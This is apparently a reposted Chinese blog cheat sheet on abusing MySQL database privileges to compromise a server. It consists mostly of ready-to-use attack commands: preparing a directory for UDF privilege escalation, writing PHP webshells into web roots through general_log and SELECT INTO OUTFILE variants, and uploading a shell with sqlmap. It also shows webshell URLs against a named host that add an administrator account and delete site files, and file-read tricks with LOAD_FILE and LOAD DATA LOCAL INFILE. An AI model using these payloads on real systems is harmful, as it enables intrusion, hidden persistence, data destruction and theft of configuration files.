当前位置:   article > 正文

mysql数据库root权限读写文件_如何让mysql用户执行root权限的文件?

如何让mysql用户执行root权限的文件?

如果没有shell,只有数据库权限的情况下:

1.  udf 提权提示没有目录:使用数据流创建目录

  1. 1. select 'xxx' into outfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\::$INDEX_ALLOCATION';
  2. 2. select 'xxx' into outfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\::$INDEX_ALLOCATION';

2.  日志写shell

  1. show variables like '%general%';  查看日志状态
  2. SET GLOBAL general_log='on'     开启日志读写
  3. SET GLOBAL general_log_file='C:/phpStudy/WWW/x.php';  指定需要写入日志路径
  4. SELECT '<?php eval($_POST["cmd"]);?>'  写日志进x.php

3.  mysql直接写shell

  1. 1. select '<?php  phpinfo();?>'  into outfile 'D:/UPUPW_AP7.2_64/htdocs/infoshell.php'
  2. 2. select "<?if($_GET['cmd']) {  system($_GET['cmd']);  }?>"  into outfile 'D:/UPUPW_AP7.2_64/htdocs/info2.php'
  3. lines terminated by 写入:
  4. select into outfile 'C:/wamp64/www/shell.php' lines terminated by '<?php phpinfo()?>';
  5. //lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。
  6. lines starting by 写入:
  7. select into outfile 'C:/wamp64/www/shell.php' lines starting by '<?php phpinfo()?>';
  8. //利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。
  9. fields terminated by 写入:
  10. select into outfile 'C:/wamp64/www/work/shell.php' fields terminated by '<?php phpinfo() ?>';
  11. //利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。
  12. columns terminated by 写入:
  13. select into outfile 'C:/wamp64/www/shell.php' COLUMNS terminated by '<?php phpinfo() ?>';
  14. //利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。
  15. sqlmap写入:
  16. 写:(要写的文件,必须在kali本机里有)写入到 /tmp 目录下 sqlmap -u "http://127.0.0.1/index.php?page=user-info.php&username=a%27f%27v&password=af999 --file-write="shell.php" --file-dest="/tmp/shell.php"
  1. https://sys.baidu.com/info2.php?cmd=net+user+jiance+jiance@123+/add
  2. https://sys.baidu.com/info2.php?cmd=net+localgroup+administrators+jiance+/add
  3. https://sysbaidu.com/info2.php?cmd=del+D:\UPUPW_AP7.2_64\htdocs\*.php

4.  mysql读文件

1. SELECT LOAD_FILE('D:\UPUPW_AP7.2_64\Apache2\conf\httpd-vhosts.conf');
  1. mysql低权限读文件:
  2. 1. CREATE TABLE `bbs` (`bbs1` TEXT NOT NULL );  # 创建表:
  3. 2. load data local infile '//home//opendb.php' into table `bbs`; #越权限读文件  
  4. 3. LOAD DATA LOCAL INFILE '/home/opendb.php' into table bbs fields terminated by '' LINES TERMINATED BY '\0'; # 我读出来是这样的 <?     ?>  读别的也是 include的部分就没读取了怀疑是转义了

声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号